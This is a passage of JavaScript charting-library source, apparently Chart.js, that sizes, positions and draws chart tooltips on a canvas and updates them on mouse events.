element._xScale;\n\t\tvar yScale = element._yScale || element._scale; // handle radar || polarArea charts\n\t\tvar index = element._index;\n\t\tvar datasetIndex = element._datasetIndex;\n\n\t\treturn {\n\t\t\txLabel: xScale ? xScale.getLabelForIndex(index, datasetIndex) : '',\n\t\t\tyLabel: yScale ? yScale.getLabelForIndex(index, datasetIndex) : '',\n\t\t\tindex: index,\n\t\t\tdatasetIndex: datasetIndex,\n\t\t\tx: element._model.x,\n\t\t\ty: element._model.y\n\t\t};\n\t}\n\n\t/**\n\t * Helper to get the reset model for the tooltip\n\t * @param tooltipOpts {Object} the tooltip options\n\t */\n\tfunction getBaseModel(tooltipOpts) {\n\t\tvar globalDefaults = defaults.global;\n\t\tvar valueOrDefault = helpers.valueOrDefault;\n\n\t\treturn {\n\t\t\t// Positioning\n\t\t\txPadding: tooltipOpts.xPadding,\n\t\t\tyPadding: tooltipOpts.yPadding,\n\t\t\txAlign: tooltipOpts.xAlign,\n\t\t\tyAlign: tooltipOpts.yAlign,\n\n\t\t\t// Body\n\t\t\tbodyFontColor: tooltipOpts.bodyFontColor,\n\t\t\t_bodyFontFamily: valueOrDefault(tooltipOpts.bodyFontFamily, globalDefaults.defaultFontFamily),\n\t\t\t_bodyFontStyle: valueOrDefault(tooltipOpts.bodyFontStyle, globalDefaults.defaultFontStyle),\n\t\t\t_bodyAlign: tooltipOpts.bodyAlign,\n\t\t\tbodyFontSize: valueOrDefault(tooltipOpts.bodyFontSize, globalDefaults.defaultFontSize),\n\t\t\tbodySpacing: tooltipOpts.bodySpacing,\n\n\t\t\t// Title\n\t\t\ttitleFontColor: tooltipOpts.titleFontColor,\n\t\t\t_titleFontFamily: valueOrDefault(tooltipOpts.titleFontFamily, globalDefaults.defaultFontFamily),\n\t\t\t_titleFontStyle: valueOrDefault(tooltipOpts.titleFontStyle, globalDefaults.defaultFontStyle),\n\t\t\ttitleFontSize: valueOrDefault(tooltipOpts.titleFontSize, globalDefaults.defaultFontSize),\n\t\t\t_titleAlign: tooltipOpts.titleAlign,\n\t\t\ttitleSpacing: tooltipOpts.titleSpacing,\n\t\t\ttitleMarginBottom: tooltipOpts.titleMarginBottom,\n\n\t\t\t// Footer\n\t\t\tfooterFontColor: tooltipOpts.footerFontColor,\n\t\t\t_footerFontFamily: valueOrDefault(tooltipOpts.footerFontFamily, globalDefaults.defaultFontFamily),\n\t\t\t_footerFontStyle: valueOrDefault(tooltipOpts.footerFontStyle, globalDefaults.defaultFontStyle),\n\t\t\tfooterFontSize: valueOrDefault(tooltipOpts.footerFontSize, globalDefaults.defaultFontSize),\n\t\t\t_footerAlign: tooltipOpts.footerAlign,\n\t\t\tfooterSpacing: tooltipOpts.footerSpacing,\n\t\t\tfooterMarginTop: tooltipOpts.footerMarginTop,\n\n\t\t\t// Appearance\n\t\t\tcaretSize: tooltipOpts.caretSize,\n\t\t\tcornerRadius: tooltipOpts.cornerRadius,\n\t\t\tbackgroundColor: tooltipOpts.backgroundColor,\n\t\t\topacity: 0,\n\t\t\tlegendColorBackground: tooltipOpts.multiKeyBackground,\n\t\t\tdisplayColors: tooltipOpts.displayColors,\n\t\t\tborderColor: tooltipOpts.borderColor,\n\t\t\tborderWidth: tooltipOpts.borderWidth\n\t\t};\n\t}\n\n\t/**\n\t * Get the size of the tooltip\n\t */\n\tfunction getTooltipSize(tooltip, model) {\n\t\tvar ctx = tooltip._chart.ctx;\n\n\t\tvar height = model.yPadding * 2; // Tooltip Padding\n\t\tvar width = 0;\n\n\t\t// Count of all lines in the body\n\t\tvar body = model.body;\n\t\tvar combinedBodyLength = body.reduce(function(count, bodyItem) {\n\t\t\treturn count + bodyItem.before.length + bodyItem.lines.length + bodyItem.after.length;\n\t\t}, 0);\n\t\tcombinedBodyLength += model.beforeBody.length + model.afterBody.length;\n\n\t\tvar titleLineCount = model.title.length;\n\t\tvar footerLineCount = model.footer.length;\n\t\tvar titleFontSize = model.titleFontSize;\n\t\tvar bodyFontSize = model.bodyFontSize;\n\t\tvar footerFontSize = model.footerFontSize;\n\n\t\theight += titleLineCount * titleFontSize; // Title Lines\n\t\theight += titleLineCount ? (titleLineCount - 1) * model.titleSpacing : 0; // Title Line Spacing\n\t\theight += titleLineCount ? model.titleMarginBottom : 0; // Title's bottom Margin\n\t\theight += combinedBodyLength * bodyFontSize; // Body Lines\n\t\theight += combinedBodyLength ? (combinedBodyLength - 1) * model.bodySpacing : 0; // Body Line Spacing\n\t\theight += footerLineCount ? model.footerMarginTop : 0; // Footer Margin\n\t\theight += footerLineCount * (footerFontSize); // Footer Lines\n\t\theight += footerLineCount ? (footerLineCount - 1) * model.footerSpacing : 0; // Footer Line Spacing\n\n\t\t// Title width\n\t\tvar widthPadding = 0;\n\t\tvar maxLineWidth = function(line) {\n\t\t\twidth = Math.max(width, ctx.measureText(line).width + widthPadding);\n\t\t};\n\n\t\tctx.font = helpers.fontString(titleFontSize, model._titleFontStyle, model._titleFontFamily);\n\t\thelpers.each(model.title, maxLineWidth);\n\n\t\t// Body width\n\t\tctx.font = helpers.fontString(bodyFontSize, model._bodyFontStyle, model._bodyFontFamily);\n\t\thelpers.each(model.beforeBody.concat(model.afterBody), maxLineWidth);\n\n\t\t// Body lines may include some extra width due to the color box\n\t\twidthPadding = model.displayColors ? (bodyFontSize + 2) : 0;\n\t\thelpers.each(body, function(bodyItem) {\n\t\t\thelpers.each(bodyItem.before, maxLineWidth);\n\t\t\thelpers.each(bodyItem.lines, maxLineWidth);\n\t\t\thelpers.each(bodyItem.after, maxLineWidth);\n\t\t});\n\n\t\t// Reset back to 0\n\t\twidthPadding = 0;\n\n\t\t// Footer width\n\t\tctx.font = helpers.fontString(footerFontSize, model._footerFontStyle, model._footerFontFamily);\n\t\thelpers.each(model.footer, maxLineWidth);\n\n\t\t// Add padding\n\t\twidth += 2 * model.xPadding;\n\n\t\treturn {\n\t\t\twidth: width,\n\t\t\theight: height\n\t\t};\n\t}\n\n\t/**\n\t * Helper to get the alignment of a tooltip given the size\n\t */\n\tfunction determineAlignment(tooltip, size) {\n\t\tvar model = tooltip._model;\n\t\tvar chart = tooltip._chart;\n\t\tvar chartArea = tooltip._chart.chartArea;\n\t\tvar xAlign = 'center';\n\t\tvar yAlign = 'center';\n\n\t\tif (model.y < size.height) {\n\t\t\tyAlign = 'top';\n\t\t} else if (model.y > (chart.height - size.height)) {\n\t\t\tyAlign = 'bottom';\n\t\t}\n\n\t\tvar lf, rf; // functions to determine left, right alignment\n\t\tvar olf, orf; // functions to determine if left/right alignment causes tooltip to go outside chart\n\t\tvar yf; // function to get the y alignment if the tooltip goes outside of the left or right edges\n\t\tvar midX = (chartArea.left + chartArea.right) / 2;\n\t\tvar midY = (chartArea.top + chartArea.bottom) / 2;\n\n\t\tif (yAlign === 'center') {\n\t\t\tlf = function(x) {\n\t\t\t\treturn x <= midX;\n\t\t\t};\n\t\t\trf = function(x) {\n\t\t\t\treturn x > midX;\n\t\t\t};\n\t\t} else {\n\t\t\tlf = function(x) {\n\t\t\t\treturn x <= (size.width / 2);\n\t\t\t};\n\t\t\trf = function(x) {\n\t\t\t\treturn x >= (chart.width - (size.width / 2));\n\t\t\t};\n\t\t}\n\n\t\tolf = function(x) {\n\t\t\treturn x + size.width + model.caretSize + model.caretPadding > chart.width;\n\t\t};\n\t\torf = function(x) {\n\t\t\treturn x - size.width - model.caretSize - model.caretPadding < 0;\n\t\t};\n\t\tyf = function(y) {\n\t\t\treturn y <= midY ? 'top' : 'bottom';\n\t\t};\n\n\t\tif (lf(model.x)) {\n\t\t\txAlign = 'left';\n\n\t\t\t// Is tooltip too wide and goes over the right side of the chart.?\n\t\t\tif (olf(model.x)) {\n\t\t\t\txAlign = 'center';\n\t\t\t\tyAlign = yf(model.y);\n\t\t\t}\n\t\t} else if (rf(model.x)) {\n\t\t\txAlign = 'right';\n\n\t\t\t// Is tooltip too wide and goes outside left edge of canvas?\n\t\t\tif (orf(model.x)) {\n\t\t\t\txAlign = 'center';\n\t\t\t\tyAlign = yf(model.y);\n\t\t\t}\n\t\t}\n\n\t\tvar opts = tooltip._options;\n\t\treturn {\n\t\t\txAlign: opts.xAlign ? opts.xAlign : xAlign,\n\t\t\tyAlign: opts.yAlign ? opts.yAlign : yAlign\n\t\t};\n\t}\n\n\t/**\n\t * @Helper to get the location a tooltip needs to be placed at given the initial position (via the vm) and the size and alignment\n\t */\n\tfunction getBackgroundPoint(vm, size, alignment, chart) {\n\t\t// Background Position\n\t\tvar x = vm.x;\n\t\tvar y = vm.y;\n\n\t\tvar caretSize = vm.caretSize;\n\t\tvar caretPadding = vm.caretPadding;\n\t\tvar cornerRadius = vm.cornerRadius;\n\t\tvar xAlign = alignment.xAlign;\n\t\tvar yAlign = alignment.yAlign;\n\t\tvar paddingAndSize = caretSize + caretPadding;\n\t\tvar radiusAndPadding = cornerRadius + caretPadding;\n\n\t\tif (xAlign === 'right') {\n\t\t\tx -= size.width;\n\t\t} else if (xAlign === 'center') {\n\t\t\tx -= (size.width / 2);\n\t\t\tif (x + size.width > chart.width) {\n\t\t\t\tx = chart.width - size.width;\n\t\t\t}\n\t\t\tif (x < 0) {\n\t\t\t\tx = 0;\n\t\t\t}\n\t\t}\n\n\t\tif (yAlign === 'top') {\n\t\t\ty += paddingAndSize;\n\t\t} else if (yAlign === 'bottom') {\n\t\t\ty -= size.height + paddingAndSize;\n\t\t} else {\n\t\t\ty -= (size.height / 2);\n\t\t}\n\n\t\tif (yAlign === 'center') {\n\t\t\tif (xAlign === 'left') {\n\t\t\t\tx += paddingAndSize;\n\t\t\t} else if (xAlign === 'right') {\n\t\t\t\tx -= paddingAndSize;\n\t\t\t}\n\t\t} else if (xAlign === 'left') {\n\t\t\tx -= radiusAndPadding;\n\t\t} else if (xAlign === 'right') {\n\t\t\tx += radiusAndPadding;\n\t\t}\n\n\t\treturn {\n\t\t\tx: x,\n\t\t\ty: y\n\t\t};\n\t}\n\n\tChart.Tooltip = Element.extend({\n\t\tinitialize: function() {\n\t\t\tthis._model = getBaseModel(this._options);\n\t\t\tthis._lastActive = [];\n\t\t},\n\n\t\t// Get the title\n\t\t// Args are: (tooltipItem, data)\n\t\tgetTitle: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me._options;\n\t\t\tvar callbacks = opts.callbacks;\n\n\t\t\tvar beforeTitle = callbacks.beforeTitle.apply(me, arguments);\n\t\t\tvar title = callbacks.title.apply(me, arguments);\n\t\t\tvar afterTitle = callbacks.afterTitle.apply(me, arguments);\n\n\t\t\tvar lines = [];\n\t\t\tlines = pushOrConcat(lines, beforeTitle);\n\t\t\tlines = pushOrConcat(lines, title);\n\t\t\tlines = pushOrConcat(lines, afterTitle);\n\n\t\t\treturn lines;\n\t\t},\n\n\t\t// Args are: (tooltipItem, data)\n\t\tgetBeforeBody: function() {\n\t\t\tvar lines = this._options.callbacks.beforeBody.apply(this, arguments);\n\t\t\treturn helpers.isArray(lines) ? lines : lines !== undefined ? [lines] : [];\n\t\t},\n\n\t\t// Args are: (tooltipItem, data)\n\t\tgetBody: function(tooltipItems, data) {\n\t\t\tvar me = this;\n\t\t\tvar callbacks = me._options.callbacks;\n\t\t\tvar bodyItems = [];\n\n\t\t\thelpers.each(tooltipItems, function(tooltipItem) {\n\t\t\t\tvar bodyItem = {\n\t\t\t\t\tbefore: [],\n\t\t\t\t\tlines: [],\n\t\t\t\t\tafter: []\n\t\t\t\t};\n\t\t\t\tpushOrConcat(bodyItem.before, callbacks.beforeLabel.call(me, tooltipItem, data));\n\t\t\t\tpushOrConcat(bodyItem.lines, callbacks.label.call(me, tooltipItem, data));\n\t\t\t\tpushOrConcat(bodyItem.after, callbacks.afterLabel.call(me, tooltipItem, data));\n\n\t\t\t\tbodyItems.push(bodyItem);\n\t\t\t});\n\n\t\t\treturn bodyItems;\n\t\t},\n\n\t\t// Args are: (tooltipItem, data)\n\t\tgetAfterBody: function() {\n\t\t\tvar lines = this._options.callbacks.afterBody.apply(this, arguments);\n\t\t\treturn helpers.isArray(lines) ? lines : lines !== undefined ? [lines] : [];\n\t\t},\n\n\t\t// Get the footer and beforeFooter and afterFooter lines\n\t\t// Args are: (tooltipItem, data)\n\t\tgetFooter: function() {\n\t\t\tvar me = this;\n\t\t\tvar callbacks = me._options.callbacks;\n\n\t\t\tvar beforeFooter = callbacks.beforeFooter.apply(me, arguments);\n\t\t\tvar footer = callbacks.footer.apply(me, arguments);\n\t\t\tvar afterFooter = callbacks.afterFooter.apply(me, arguments);\n\n\t\t\tvar lines = [];\n\t\t\tlines = pushOrConcat(lines, beforeFooter);\n\t\t\tlines = pushOrConcat(lines, footer);\n\t\t\tlines = pushOrConcat(lines, afterFooter);\n\n\t\t\treturn lines;\n\t\t},\n\n\t\tupdate: function(changed) {\n\t\t\tvar me = this;\n\t\t\tvar opts = me._options;\n\n\t\t\t// Need to regenerate the model because its faster than using extend and it is necessary due to the optimization in Chart.Element.transition\n\t\t\t// that does _view = _model if ease === 1. This causes the 2nd tooltip update to set properties in both the view and model at the same time\n\t\t\t// which breaks any animations.\n\t\t\tvar existingModel = me._model;\n\t\t\tvar model = me._model = getBaseModel(opts);\n\t\t\tvar active = me._active;\n\n\t\t\tvar data = me._data;\n\n\t\t\t// In the case where active.length === 0 we need to keep these at existing values for good animations\n\t\t\tvar alignment = {\n\t\t\t\txAlign: existingModel.xAlign,\n\t\t\t\tyAlign: existingModel.yAlign\n\t\t\t};\n\t\t\tvar backgroundPoint = {\n\t\t\t\tx: existingModel.x,\n\t\t\t\ty: existingModel.y\n\t\t\t};\n\t\t\tvar tooltipSize = {\n\t\t\t\twidth: existingModel.width,\n\t\t\t\theight: existingModel.height\n\t\t\t};\n\t\t\tvar tooltipPosition = {\n\t\t\t\tx: existingModel.caretX,\n\t\t\t\ty: existingModel.caretY\n\t\t\t};\n\n\t\t\tvar i, len;\n\n\t\t\tif (active.length) {\n\t\t\t\tmodel.opacity = 1;\n\n\t\t\t\tvar labelColors = [];\n\t\t\t\tvar labelTextColors = [];\n\t\t\t\ttooltipPosition = Chart.Tooltip.positioners[opts.position].call(me, active, me._eventPosition);\n\n\t\t\t\tvar tooltipItems = [];\n\t\t\t\tfor (i = 0, len = active.length; i < len; ++i) {\n\t\t\t\t\ttooltipItems.push(createTooltipItem(active[i]));\n\t\t\t\t}\n\n\t\t\t\t// If the user provided a filter function, use it to modify the tooltip items\n\t\t\t\tif (opts.filter) {\n\t\t\t\t\ttooltipItems = tooltipItems.filter(function(a) {\n\t\t\t\t\t\treturn opts.filter(a, data);\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// If the user provided a sorting function, use it to modify the tooltip items\n\t\t\t\tif (opts.itemSort) {\n\t\t\t\t\ttooltipItems = tooltipItems.sort(function(a, b) {\n\t\t\t\t\t\treturn opts.itemSort(a, b, data);\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Determine colors for boxes\n\t\t\t\thelpers.each(tooltipItems, function(tooltipItem) {\n\t\t\t\t\tlabelColors.push(opts.callbacks.labelColor.call(me, tooltipItem, me._chart));\n\t\t\t\t\tlabelTextColors.push(opts.callbacks.labelTextColor.call(me, tooltipItem, me._chart));\n\t\t\t\t});\n\n\n\t\t\t\t// Build the Text Lines\n\t\t\t\tmodel.title = me.getTitle(tooltipItems, data);\n\t\t\t\tmodel.beforeBody = me.getBeforeBody(tooltipItems, data);\n\t\t\t\tmodel.body = me.getBody(tooltipItems, data);\n\t\t\t\tmodel.afterBody = me.getAfterBody(tooltipItems, data);\n\t\t\t\tmodel.footer = me.getFooter(tooltipItems, data);\n\n\t\t\t\t// Initial positioning and colors\n\t\t\t\tmodel.x = Math.round(tooltipPosition.x);\n\t\t\t\tmodel.y = Math.round(tooltipPosition.y);\n\t\t\t\tmodel.caretPadding = opts.caretPadding;\n\t\t\t\tmodel.labelColors = labelColors;\n\t\t\t\tmodel.labelTextColors = labelTextColors;\n\n\t\t\t\t// data points\n\t\t\t\tmodel.dataPoints = tooltipItems;\n\n\t\t\t\t// We need to determine alignment of the tooltip\n\t\t\t\ttooltipSize = getTooltipSize(this, model);\n\t\t\t\talignment = determineAlignment(this, tooltipSize);\n\t\t\t\t// Final Size and Position\n\t\t\t\tbackgroundPoint = getBackgroundPoint(model, tooltipSize, alignment, me._chart);\n\t\t\t} else {\n\t\t\t\tmodel.opacity = 0;\n\t\t\t}\n\n\t\t\tmodel.xAlign = alignment.xAlign;\n\t\t\tmodel.yAlign = alignment.yAlign;\n\t\t\tmodel.x = backgroundPoint.x;\n\t\t\tmodel.y = backgroundPoint.y;\n\t\t\tmodel.width = tooltipSize.width;\n\t\t\tmodel.height = tooltipSize.height;\n\n\t\t\t// Point where the caret on the tooltip points to\n\t\t\tmodel.caretX = tooltipPosition.x;\n\t\t\tmodel.caretY = tooltipPosition.y;\n\n\t\t\tme._model = model;\n\n\t\t\tif (changed && opts.custom) {\n\t\t\t\topts.custom.call(me, model);\n\t\t\t}\n\n\t\t\treturn me;\n\t\t},\n\t\tdrawCaret: function(tooltipPoint, size) {\n\t\t\tvar ctx = this._chart.ctx;\n\t\t\tvar vm = this._view;\n\t\t\tvar caretPosition = this.getCaretPosition(tooltipPoint, size, vm);\n\n\t\t\tctx.lineTo(caretPosition.x1, caretPosition.y1);\n\t\t\tctx.lineTo(caretPosition.x2, caretPosition.y2);\n\t\t\tctx.lineTo(caretPosition.x3, caretPosition.y3);\n\t\t},\n\t\tgetCaretPosition: function(tooltipPoint, size, vm) {\n\t\t\tvar x1, x2, x3, y1, y2, y3;\n\t\t\tvar caretSize = vm.caretSize;\n\t\t\tvar cornerRadius = vm.cornerRadius;\n\t\t\tvar xAlign = vm.xAlign;\n\t\t\tvar yAlign = vm.yAlign;\n\t\t\tvar ptX = tooltipPoint.x;\n\t\t\tvar ptY = tooltipPoint.y;\n\t\t\tvar width = size.width;\n\t\t\tvar height = size.height;\n\n\t\t\tif (yAlign === 'center') {\n\t\t\t\ty2 = ptY + (height / 2);\n\n\t\t\t\tif (xAlign === 'left') {\n\t\t\t\t\tx1 = ptX;\n\t\t\t\t\tx2 = x1 - caretSize;\n\t\t\t\t\tx3 = x1;\n\n\t\t\t\t\ty1 = y2 + caretSize;\n\t\t\t\t\ty3 = y2 - caretSize;\n\t\t\t\t} else {\n\t\t\t\t\tx1 = ptX + width;\n\t\t\t\t\tx2 = x1 + caretSize;\n\t\t\t\t\tx3 = x1;\n\n\t\t\t\t\ty1 = y2 - caretSize;\n\t\t\t\t\ty3 = y2 + caretSize;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (xAlign === 'left') {\n\t\t\t\t\tx2 = ptX + cornerRadius + (caretSize);\n\t\t\t\t\tx1 = x2 - caretSize;\n\t\t\t\t\tx3 = x2 + caretSize;\n\t\t\t\t} else if (xAlign === 'right') {\n\t\t\t\t\tx2 = ptX + width - cornerRadius - caretSize;\n\t\t\t\t\tx1 = x2 - caretSize;\n\t\t\t\t\tx3 = x2 + caretSize;\n\t\t\t\t} else {\n\t\t\t\t\tx2 = vm.caretX;\n\t\t\t\t\tx1 = x2 - caretSize;\n\t\t\t\t\tx3 = x2 + caretSize;\n\t\t\t\t}\n\t\t\t\tif (yAlign === 'top') {\n\t\t\t\t\ty1 = ptY;\n\t\t\t\t\ty2 = y1 - caretSize;\n\t\t\t\t\ty3 = y1;\n\t\t\t\t} else {\n\t\t\t\t\ty1 = ptY + height;\n\t\t\t\t\ty2 = y1 + caretSize;\n\t\t\t\t\ty3 = y1;\n\t\t\t\t\t// invert drawing order\n\t\t\t\t\tvar tmp = x3;\n\t\t\t\t\tx3 = x1;\n\t\t\t\t\tx1 = tmp;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn {x1: x1, x2: x2, x3: x3, y1: y1, y2: y2, y3: y3};\n\t\t},\n\t\tdrawTitle: function(pt, vm, ctx, opacity) {\n\t\t\tvar title = vm.title;\n\n\t\t\tif (title.length) {\n\t\t\t\tctx.textAlign = vm._titleAlign;\n\t\t\t\tctx.textBaseline = 'top';\n\n\t\t\t\tvar titleFontSize = vm.titleFontSize;\n\t\t\t\tvar titleSpacing = vm.titleSpacing;\n\n\t\t\t\tctx.fillStyle = mergeOpacity(vm.titleFontColor, opacity);\n\t\t\t\tctx.font = helpers.fontString(titleFontSize, vm._titleFontStyle, vm._titleFontFamily);\n\n\t\t\t\tvar i, len;\n\t\t\t\tfor (i = 0, len = title.length; i < len; ++i) {\n\t\t\t\t\tctx.fillText(title[i], pt.x, pt.y);\n\t\t\t\t\tpt.y += titleFontSize + titleSpacing; // Line Height and spacing\n\n\t\t\t\t\tif (i + 1 === title.length) {\n\t\t\t\t\t\tpt.y += vm.titleMarginBottom - titleSpacing; // If Last, add margin, remove spacing\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tdrawBody: function(pt, vm, ctx, opacity) {\n\t\t\tvar bodyFontSize = vm.bodyFontSize;\n\t\t\tvar bodySpacing = vm.bodySpacing;\n\t\t\tvar body = vm.body;\n\n\t\t\tctx.textAlign = vm._bodyAlign;\n\t\t\tctx.textBaseline = 'top';\n\t\t\tctx.font = helpers.fontString(bodyFontSize, vm._bodyFontStyle, vm._bodyFontFamily);\n\n\t\t\t// Before Body\n\t\t\tvar xLinePadding = 0;\n\t\t\tvar fillLineOfText = function(line) {\n\t\t\t\tctx.fillText(line, pt.x + xLinePadding, pt.y);\n\t\t\t\tpt.y += bodyFontSize + bodySpacing;\n\t\t\t};\n\n\t\t\t// Before body lines\n\t\t\tctx.fillStyle = mergeOpacity(vm.bodyFontColor, opacity);\n\t\t\thelpers.each(vm.beforeBody, fillLineOfText);\n\n\t\t\tvar drawColorBoxes = vm.displayColors;\n\t\t\txLinePadding = drawColorBoxes ? (bodyFontSize + 2) : 0;\n\n\t\t\t// Draw body lines now\n\t\t\thelpers.each(body, function(bodyItem, i) {\n\t\t\t\tvar textColor = mergeOpacity(vm.labelTextColors[i], opacity);\n\t\t\t\tctx.fillStyle = textColor;\n\t\t\t\thelpers.each(bodyItem.before, fillLineOfText);\n\n\t\t\t\thelpers.each(bodyItem.lines, function(line) {\n\t\t\t\t\t// Draw Legend-like boxes if needed\n\t\t\t\t\tif (drawColorBoxes) {\n\t\t\t\t\t\t// Fill a white rect so that colours merge nicely if the opacity is < 1\n\t\t\t\t\t\tctx.fillStyle = mergeOpacity(vm.legendColorBackground, opacity);\n\t\t\t\t\t\tctx.fillRect(pt.x, pt.y, bodyFontSize, bodyFontSize);\n\n\t\t\t\t\t\t// Border\n\t\t\t\t\t\tctx.lineWidth = 1;\n\t\t\t\t\t\tctx.strokeStyle = mergeOpacity(vm.labelColors[i].borderColor, opacity);\n\t\t\t\t\t\tctx.strokeRect(pt.x, pt.y, bodyFontSize, bodyFontSize);\n\n\t\t\t\t\t\t// Inner square\n\t\t\t\t\t\tctx.fillStyle = mergeOpacity(vm.labelColors[i].backgroundColor, opacity);\n\t\t\t\t\t\tctx.fillRect(pt.x + 1, pt.y + 1, bodyFontSize - 2, bodyFontSize - 2);\n\t\t\t\t\t\tctx.fillStyle = textColor;\n\t\t\t\t\t}\n\n\t\t\t\t\tfillLineOfText(line);\n\t\t\t\t});\n\n\t\t\t\thelpers.each(bodyItem.after, fillLineOfText);\n\t\t\t});\n\n\t\t\t// Reset back to 0 for after body\n\t\t\txLinePadding = 0;\n\n\t\t\t// After body lines\n\t\t\thelpers.each(vm.afterBody, fillLineOfText);\n\t\t\tpt.y -= bodySpacing; // Remove last body spacing\n\t\t},\n\t\tdrawFooter: function(pt, vm, ctx, opacity) {\n\t\t\tvar footer = vm.footer;\n\n\t\t\tif (footer.length) {\n\t\t\t\tpt.y += vm.footerMarginTop;\n\n\t\t\t\tctx.textAlign = vm._footerAlign;\n\t\t\t\tctx.textBaseline = 'top';\n\n\t\t\t\tctx.fillStyle = mergeOpacity(vm.footerFontColor, opacity);\n\t\t\t\tctx.font = helpers.fontString(vm.footerFontSize, vm._footerFontStyle, vm._footerFontFamily);\n\n\t\t\t\thelpers.each(footer, function(line) {\n\t\t\t\t\tctx.fillText(line, pt.x, pt.y);\n\t\t\t\t\tpt.y += vm.footerFontSize + vm.footerSpacing;\n\t\t\t\t});\n\t\t\t}\n\t\t},\n\t\tdrawBackground: function(pt, vm, ctx, tooltipSize, opacity) {\n\t\t\tctx.fillStyle = mergeOpacity(vm.backgroundColor, opacity);\n\t\t\tctx.strokeStyle = mergeOpacity(vm.borderColor, opacity);\n\t\t\tctx.lineWidth = vm.borderWidth;\n\t\t\tvar xAlign = vm.xAlign;\n\t\t\tvar yAlign = vm.yAlign;\n\t\t\tvar x = pt.x;\n\t\t\tvar y = pt.y;\n\t\t\tvar width = tooltipSize.width;\n\t\t\tvar height = tooltipSize.height;\n\t\t\tvar radius = vm.cornerRadius;\n\n\t\t\tctx.beginPath();\n\t\t\tctx.moveTo(x + radius, y);\n\t\t\tif (yAlign === 'top') {\n\t\t\t\tthis.drawCaret(pt, tooltipSize);\n\t\t\t}\n\t\t\tctx.lineTo(x + width - radius, y);\n\t\t\tctx.quadraticCurveTo(x + width, y, x + width, y + radius);\n\t\t\tif (yAlign === 'center' && xAlign === 'right') {\n\t\t\t\tthis.drawCaret(pt, tooltipSize);\n\t\t\t}\n\t\t\tctx.lineTo(x + width, y + height - radius);\n\t\t\tctx.quadraticCurveTo(x + width, y + height, x + width - radius, y + height);\n\t\t\tif (yAlign === 'bottom') {\n\t\t\t\tthis.drawCaret(pt, tooltipSize);\n\t\t\t}\n\t\t\tctx.lineTo(x + radius, y + height);\n\t\t\tctx.quadraticCurveTo(x, y + height, x, y + height - radius);\n\t\t\tif (yAlign === 'center' && xAlign === 'left') {\n\t\t\t\tthis.drawCaret(pt, tooltipSize);\n\t\t\t}\n\t\t\tctx.lineTo(x, y + radius);\n\t\t\tctx.quadraticCurveTo(x, y, x + radius, y);\n\t\t\tctx.closePath();\n\n\t\t\tctx.fill();\n\n\t\t\tif (vm.borderWidth > 0) {\n\t\t\t\tctx.stroke();\n\t\t\t}\n\t\t},\n\t\tdraw: function() {\n\t\t\tvar ctx = this._chart.ctx;\n\t\t\tvar vm = this._view;\n\n\t\t\tif (vm.opacity === 0) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar tooltipSize = {\n\t\t\t\twidth: vm.width,\n\t\t\t\theight: vm.height\n\t\t\t};\n\t\t\tvar pt = {\n\t\t\t\tx: vm.x,\n\t\t\t\ty: vm.y\n\t\t\t};\n\n\t\t\t// IE11/Edge does not like very small opacities, so snap to 0\n\t\t\tvar opacity = Math.abs(vm.opacity < 1e-3) ? 0 : vm.opacity;\n\n\t\t\t// Truthy/falsey value for empty tooltip\n\t\t\tvar hasTooltipContent = vm.title.length || vm.beforeBody.length || vm.body.length || vm.afterBody.length || vm.footer.length;\n\n\t\t\tif (this._options.enabled && hasTooltipContent) {\n\t\t\t\t// Draw Background\n\t\t\t\tthis.drawBackground(pt, vm, ctx, tooltipSize, opacity);\n\n\t\t\t\t// Draw Title, Body, and Footer\n\t\t\t\tpt.x += vm.xPadding;\n\t\t\t\tpt.y += vm.yPadding;\n\n\t\t\t\t// Titles\n\t\t\t\tthis.drawTitle(pt, vm, ctx, opacity);\n\n\t\t\t\t// Body\n\t\t\t\tthis.drawBody(pt, vm, ctx, opacity);\n\n\t\t\t\t// Footer\n\t\t\t\tthis.drawFooter(pt, vm, ctx, opacity);\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * Handle an event\n\t\t * @private\n\t\t * @param {IEvent} event - The event to handle\n\t\t * @returns {Boolean} true if the tooltip changed\n\t\t */\n\t\thandleEvent: function(e) {\n\t\t\tvar me = this;\n\t\t\tvar options = me._options;\n\t\t\tvar changed = false;\n\n\t\t\tme._lastActive = me._lastActive || [];\n\n\t\t\t// Find Active Elements for tooltips\n\t\t\tif (e.type === 'mouseout') {\n\t\t\t\tme._active = [];\n\t\t\t} else {\n\t\t\t\tme._active = me._chart.getElementsAtEventForMode(e, options.mode, options);\n\t\t\t}\n\n\t\t\t// Remember Last Actives\n\t\t\tchanged = !helpers.arrayEquals(me._active, me._lastActive);\n\n\t\t\t// Only handle target event on tooltip change\n\t\t\tif (changed) {\n\t\t\t\tme._lastActive = me._active;\n\n\t\t\t\tif (options.enabled || options.custom) {\n\t\t\t\t\tme._eventPosition = {\n\t\t\t\t\t\tx: e.x,\n\t\t\t\t\t\ty: e.y\n\t\t\t\t\t};\n\n\t\t\t\t\tme.update(true);\n\t\t\t\t\tme.pivot();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn changed;\n\t\t}\n\t});\n\n\t/**\n\t * @namespace Chart.Tooltip.positioners\n\t */\n\tChart.Tooltip.positioners = {\n\t\t/**\n\t\t * Average mode places the tooltip at the average position of the elements shown\n\t\t * @function Chart.Tooltip.positioners.average\n\t\t * @param elements {ChartElement[]} the elements being displayed in the tooltip\n\t\t * @returns {Point} tooltip position\n\t\t */\n\t\taverage: function(elements) {\n\t\t\tif (!elements.length) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tvar i, len;\n\t\t\tvar x = 0;\n\t\t\tvar y = 0;\n\t\t\tvar count = 0;\n\n\t\t\tfor (i = 0, len = elements.length; i < len; ++i) {\n\t\t\t\tvar el = elements[i];\n\t\t\t\tif (el && el.hasValue()) {\n\t\t\t\t\tvar pos = el.tooltipPosition();\n\t\t\t\t\tx += pos.x;\n\t\t\t\t\ty += pos.y;\n\t\t\t\t\t++count;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn {\n\t\t\t\tx: Math.round(x / count),\n\t\t\t\ty: Math.round(y / 